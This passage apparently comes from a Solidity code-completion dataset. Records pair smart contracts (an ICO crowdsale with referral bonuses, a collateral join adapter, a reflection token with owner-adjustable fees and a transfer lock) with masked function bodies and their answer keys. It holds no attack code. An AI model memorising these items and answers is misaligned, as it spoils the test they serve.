if( endTimePreIco < _currentDate && _currentDate < startTimeIco){ return 0; } if( startTimeIco <= _currentDate && _currentDate <= endTimeIco){ return 2; } return 0; } function deposit(address investor) internal { deposited[investor] = deposited[investor].add(msg.value); } function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens) {<FILL_FUNCTION_BODY> } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function mintForFund(address _walletOwner) internal returns (bool result) { result = false; require(_walletOwner != address(0)); balances[_walletOwner] = balances[_walletOwner].add(fundForSale); balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam); balances[addressFundAirdropPreIco] = balances[addressFundAirdropPreIco].add(fundAirdropPreIco); balances[addressFundAirdropIco] = balances[addressFundAirdropIco].add(fundAirdropIco); balances[addressFundBounty] = balances[addressFundBounty].add(fundBounty); balances[addressFundAdvisor] = balances[addressFundAdvisor].add(fundAdvisor); balances[addressFundReferal] = balances[addressFundReferal].add(fundReferal); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (_weiAmount < weiMin) { emit MinWeiLimitReached(msg.sender, _weiAmount); return 0; } if (tokenAllocated.add(addTokens) > fundForSale) { emit TokenLimitReached(msg.sender, tokenAllocated, addTokens); return 0; } return addTokens; } /** * @dev owner burn Token. * @param _value amount of burnt tokens */ function ownerBurnToken(uint _value) public onlyOwner { require(_value > 0); require(_value <= balances[owner]); require(_value <= totalSupply); require(_value <= fundForSale); balances[owner] = balances[owner].sub(_value); totalSupply = totalSupply.sub(_value); fundForSale = fundForSale.sub(_value); emit Burn(msg.sender, _value); } /** * @dev owner change time for startTimePreIco * @param _value new time value */ function setStartTimePreIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = startTimePreIco; startTimePreIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change time for endTimePreIco * @param _value new time value */ function setEndTimePreIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = endTimePreIco; endTimePreIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change time for startTimeIco * @param _value new time value */ function setStartTimeIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = startTimeIco; startTimeIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change time for endTimeIco * @param _value new time value */ function setEndTimeIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = endTimeIco; endTimeIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change address for FundReferal * @param _newAddress new value of address */ function setAddressFundReferal(address _newAddress) public onlyOwner { require(_newAddress != address(0)); address _oldAddress = addressFundReferal; addressFundReferal = _newAddress; emit ChangeAddressFund(msg.sender, _newAddress, _oldAddress); } function setWallet(address _newWallet) public onlyOwner { require(_newWallet != address(0)); address _oldWallet = wallet; wallet = _newWallet; emit ChangeAddressFund(msg.sender, _newWallet, _oldWallet); } /** * @dev Adds single address to whitelist. * @param _payee Address to be added to the whitelist */ function addToWhitelist(address _payee) public onlyOwner { whitelistPayee[_payee] = true; } /** * @dev Removes single address from whitelist. * @param _payee Address to be removed to the whitelist */ function removeFromWhitelist(address _payee) public onlyOwner { whitelistPayee[_payee] = false; } function setTransferActive(bool _status) public onlyOwner { transfersEnabled = _status; } }
contract PHICrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; uint256 public ratePreIco = 600; uint256 public rateIco = 400; uint256 public weiMin = 0.03 ether; mapping (address => uint256) public deposited; uint256 public constant INITIAL_SUPPLY = 63 * 10**6 * (10 ** uint256(decimals)); uint256 public fundForSale = 60250 * 10**3 * (10 ** uint256(decimals)); uint256 fundTeam = 150 * 10**3 * (10 ** uint256(decimals)); uint256 fundAirdropPreIco = 250 * 10**3 * (10 ** uint256(decimals)); uint256 fundAirdropIco = 150 * 10**3 * (10 ** uint256(decimals)); uint256 fundBounty = 100 * 10**3 * (10 ** uint256(decimals)); uint256 fundAdvisor = 210 * 10**3 * (10 ** uint256(decimals)); uint256 fundReferal = 1890 * 10**3 * (10 ** uint256(decimals)); uint256 limitPreIco = 12 * 10**5 * (10 ** uint256(decimals)); address addressFundTeam = 0x26cfc82A77ECc5a493D72757936A78A089FA592a; address addressFundAirdropPreIco = 0x87953BAE7A92218FAcE2DDdb30AB2193263394Ef; address addressFundAirdropIco = 0xaA8C9cA32cC8A6A7FF5eCB705787C22d9400F377; address addressFundBounty = 0x253fBeb28dA7E85c720F66bbdCFC4D9418196EE5; address addressFundAdvisor = 0x61eAEe13A2a3805b57B46571EE97B6faf95fC34d; address addressFundReferal = 0x4BfB1bA71952DAC3886DCfECDdE2a4Fea2A06bDb; uint256 public startTimePreIco = 1538406000; // Mon, 01 Oct 2018 15:00:00 GMT uint256 public endTimePreIco = 1539129600; // Wed, 10 Oct 2018 00:00:00 GMT uint256 public startTimeIco = 1541300400; // Sun, 04 Nov 2018 03:00:00 GMT uint256 public endTimeIco = 1542931200; // Fri, 23 Nov 2018 00:00:00 GMT uint256 percentReferal = 5; uint256 public countInvestor; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(address indexed sender, uint256 tokenRaised, uint256 purchasedToken); event MinWeiLimitReached(address indexed sender, uint256 weiAmount); event Burn(address indexed burner, uint256 value); event CurrentPeriod(uint period); event ChangeTime(address indexed owner, uint256 newValue, uint256 oldValue); event ChangeAddressFund(address indexed owner, address indexed newAddress, address indexed oldAddress); constructor(address _owner, address _wallet) public Crowdsale(_wallet) { require(_owner != address(0)); owner = _owner; //owner = msg.sender; // $$$ for test's transfersEnabled = false; mintingFinished = false; totalSupply = INITIAL_SUPPLY; bool resultMintForOwner = mintForFund(owner); require(resultMintForOwner); } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); makeReferalBonus(tokens); emit TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) { uint256 currentDate = now; //currentDate = 1538438400; // (02 Oct 2018) // $$$ for test's //currentDate = 1540051200; // (20 Oct 2018) // $$$ for test's uint currentPeriod = 0; currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(currentPeriod > 0){ if(currentPeriod == 1){ amountOfTokens = _weiAmount.mul(ratePreIco); if (tokenAllocated.add(amountOfTokens) > limitPreIco) { currentPeriod = currentPeriod.add(1); } } if(currentPeriod == 2){ amountOfTokens = _weiAmount.mul(rateIco); } } emit CurrentPeriod(currentPeriod); return amountOfTokens; } function getPeriod(uint256 _currentDate) public view returns (uint) { if(_currentDate < startTimePreIco){ return 0; } if( startTimePreIco <= _currentDate && _currentDate <= endTimePreIco){ return 1; } if( endTimePreIco < _currentDate && _currentDate < startTimeIco){ return 0; } if( startTimeIco <= _currentDate && _currentDate <= endTimeIco){ return 2; } return 0; } function deposit(address investor) internal { deposited[investor] = deposited[investor].add(msg.value); } <FILL_FUNCTION> function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function mintForFund(address _walletOwner) internal returns (bool result) { result = false; require(_walletOwner != address(0)); balances[_walletOwner] = balances[_walletOwner].add(fundForSale); balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam); balances[addressFundAirdropPreIco] = balances[addressFundAirdropPreIco].add(fundAirdropPreIco); balances[addressFundAirdropIco] = balances[addressFundAirdropIco].add(fundAirdropIco); balances[addressFundBounty] = balances[addressFundBounty].add(fundBounty); balances[addressFundAdvisor] = balances[addressFundAdvisor].add(fundAdvisor); balances[addressFundReferal] = balances[addressFundReferal].add(fundReferal); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (_weiAmount < weiMin) { emit MinWeiLimitReached(msg.sender, _weiAmount); return 0; } if (tokenAllocated.add(addTokens) > fundForSale) { emit TokenLimitReached(msg.sender, tokenAllocated, addTokens); return 0; } return addTokens; } /** * @dev owner burn Token. * @param _value amount of burnt tokens */ function ownerBurnToken(uint _value) public onlyOwner { require(_value > 0); require(_value <= balances[owner]); require(_value <= totalSupply); require(_value <= fundForSale); balances[owner] = balances[owner].sub(_value); totalSupply = totalSupply.sub(_value); fundForSale = fundForSale.sub(_value); emit Burn(msg.sender, _value); } /** * @dev owner change time for startTimePreIco * @param _value new time value */ function setStartTimePreIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = startTimePreIco; startTimePreIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change time for endTimePreIco * @param _value new time value */ function setEndTimePreIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = endTimePreIco; endTimePreIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change time for startTimeIco * @param _value new time value */ function setStartTimeIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = startTimeIco; startTimeIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change time for endTimeIco * @param _value new time value */ function setEndTimeIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = endTimeIco; endTimeIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } /** * @dev owner change address for FundReferal * @param _newAddress new value of address */ function setAddressFundReferal(address _newAddress) public onlyOwner { require(_newAddress != address(0)); address _oldAddress = addressFundReferal; addressFundReferal = _newAddress; emit ChangeAddressFund(msg.sender, _newAddress, _oldAddress); } function setWallet(address _newWallet) public onlyOwner { require(_newWallet != address(0)); address _oldWallet = wallet; wallet = _newWallet; emit ChangeAddressFund(msg.sender, _newWallet, _oldWallet); } /** * @dev Adds single address to whitelist. * @param _payee Address to be added to the whitelist */ function addToWhitelist(address _payee) public onlyOwner { whitelistPayee[_payee] = true; } /** * @dev Removes single address from whitelist. * @param _payee Address to be removed to the whitelist */ function removeFromWhitelist(address _payee) public onlyOwner { whitelistPayee[_payee] = false; } function setTransferActive(bool _status) public onlyOwner { transfersEnabled = _status; } }
_refererTokens = 0; if(msg.data.length == 20) { address referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender); _refererTokens = _amountToken.mul(percentReferal).div(100); if(balanceOf(addressFundReferal) >= _refererTokens.mul(2)) { mint(referer, _refererTokens, addressFundReferal); mint(msg.sender, _refererTokens, addressFundReferal); } }
function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens)
function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens)
85977
CollateralJoin1
null
contract CollateralJoin1 { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "CollateralJoin1/account-not-authorized"); _; } SAFEEngineLike public safeEngine; bytes32 public collateralType; CollateralLike public collateral; uint public decimals; uint public contractEnabled; // Access Flag // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event DisableContract(); event Join(address sender, address usr, uint wad); event Exit(address sender, address usr, uint wad); constructor(address safeEngine_, bytes32 collateralType_, address collateral_) public {<FILL_FUNCTION_BODY> } // --- Math --- function addition(uint x, int y) internal pure returns (uint z) { z = x + uint(y); require(y >= 0 || z <= x); require(y <= 0 || z >= x); } // --- Administration --- function disableContract() external isAuthorized { contractEnabled = 0; emit DisableContract(); } // --- Collateral Gateway --- function join(address usr, uint wad) external { require(contractEnabled == 1, "CollateralJoin1/not-contractEnabled"); require(int(wad) >= 0, "CollateralJoin1/overflow"); safeEngine.modifyCollateralBalance(collateralType, usr, int(wad)); require(collateral.transferFrom(msg.sender, address(this), wad), "CollateralJoin1/failed-transfer"); emit Join(msg.sender, usr, wad); } function exit(address usr, uint wad) external { require(wad <= 2 ** 255, "CollateralJoin1/overflow"); safeEngine.modifyCollateralBalance(collateralType, msg.sender, -int(wad)); require(collateral.transfer(usr, wad), "CollateralJoin1/failed-transfer"); emit Exit(msg.sender, usr, wad); } }
contract CollateralJoin1 { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "CollateralJoin1/account-not-authorized"); _; } SAFEEngineLike public safeEngine; bytes32 public collateralType; CollateralLike public collateral; uint public decimals; uint public contractEnabled; // Access Flag // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event DisableContract(); event Join(address sender, address usr, uint wad); event Exit(address sender, address usr, uint wad); <FILL_FUNCTION> // --- Math --- function addition(uint x, int y) internal pure returns (uint z) { z = x + uint(y); require(y >= 0 || z <= x); require(y <= 0 || z >= x); } // --- Administration --- function disableContract() external isAuthorized { contractEnabled = 0; emit DisableContract(); } // --- Collateral Gateway --- function join(address usr, uint wad) external { require(contractEnabled == 1, "CollateralJoin1/not-contractEnabled"); require(int(wad) >= 0, "CollateralJoin1/overflow"); safeEngine.modifyCollateralBalance(collateralType, usr, int(wad)); require(collateral.transferFrom(msg.sender, address(this), wad), "CollateralJoin1/failed-transfer"); emit Join(msg.sender, usr, wad); } function exit(address usr, uint wad) external { require(wad <= 2 ** 255, "CollateralJoin1/overflow"); safeEngine.modifyCollateralBalance(collateralType, msg.sender, -int(wad)); require(collateral.transfer(usr, wad), "CollateralJoin1/failed-transfer"); emit Exit(msg.sender, usr, wad); } }
authorizedAccounts[msg.sender] = 1; contractEnabled = 1; safeEngine = SAFEEngineLike(safeEngine_); collateralType = collateralType_; collateral = CollateralLike(collateral_); decimals = collateral.decimals(); emit AddAuthorization(msg.sender);
constructor(address safeEngine_, bytes32 collateralType_, address collateral_) public
constructor(address safeEngine_, bytes32 collateralType_, address collateral_) public
17332
KawaiiSupersonic
_reflectFee
contract KawaiiSupersonic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; struct TValues{ uint256 tTransferAmount; uint256 tFee; uint256 tBurn; } struct RValues{ uint256 rate; uint256 rAmount; uint256 rTransferAmount; uint256 tTransferAmount; uint256 rFee; uint256 tFee; uint256 rBurn; } mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private _name = "Kawaii Supersonic"; string private _symbol = "KAWAII"; uint8 private _decimals = 18; //2% uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; //3% uint256 public _burnFee = 2; uint256 private _previousBurnFee = _burnFee; //No limit uint256 public _maxTxAmount = _tTotal; //locks the contract for any transfers bool public isTransferLocked = true; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (,RValues memory values) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(values.rAmount); _rTotal = _rTotal.sub(values.rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); (,RValues memory values) = _getValues(tAmount); if (!deductTransferFee) { return values.rAmount; } else { return values.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(!isTransferLocked || _isExcludedFromFee[from], "Transfer is locked before presale is completed."); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (TValues memory tValues, RValues memory rValues) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rValues.rAmount); _tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount); _reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn); emit Transfer(sender, recipient, tValues.tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {<FILL_FUNCTION_BODY> } function _getValues(uint256 tAmount) private view returns (TValues memory tValues, RValues memory rValues) { tValues = _getTValues(tAmount); rValues = _getRValues(tAmount,tValues); } function _getTValues(uint256 tAmount) private view returns (TValues memory values) { values.tFee = calculateTaxFee(tAmount); values.tBurn = calculateBurnFee(tAmount); values.tTransferAmount = tAmount.sub(values.tFee).sub(values.tBurn); } function _getRValues(uint256 tAmount, TValues memory tValues) private view returns (RValues memory values) { values.rate = _getRate(); values.rAmount = tAmount.mul(values.rate); values.rFee = tValues.tFee.mul(values.rate); values.rBurn = tValues.tBurn.mul(values.rate); values.rTransferAmount = values.rAmount.sub(values.rFee).sub(values.rBurn); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateBurnFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _burnFee == 0) return; _previousTaxFee = _taxFee; _previousBurnFee = _burnFee; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _burnFee = _previousBurnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setBurnFeePercent(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**(uint256(maxTxDecimals) + 2) ); } function setIsTransferLocked(bool enabled) public onlyOwner { isTransferLocked = enabled; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} }
contract KawaiiSupersonic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; struct TValues{ uint256 tTransferAmount; uint256 tFee; uint256 tBurn; } struct RValues{ uint256 rate; uint256 rAmount; uint256 rTransferAmount; uint256 tTransferAmount; uint256 rFee; uint256 tFee; uint256 rBurn; } mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private _name = "Kawaii Supersonic"; string private _symbol = "KAWAII"; uint8 private _decimals = 18; //2% uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; //3% uint256 public _burnFee = 2; uint256 private _previousBurnFee = _burnFee; //No limit uint256 public _maxTxAmount = _tTotal; //locks the contract for any transfers bool public isTransferLocked = true; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (,RValues memory values) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(values.rAmount); _rTotal = _rTotal.sub(values.rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); (,RValues memory values) = _getValues(tAmount); if (!deductTransferFee) { return values.rAmount; } else { return values.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(!isTransferLocked || _isExcludedFromFee[from], "Transfer is locked before presale is completed."); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= 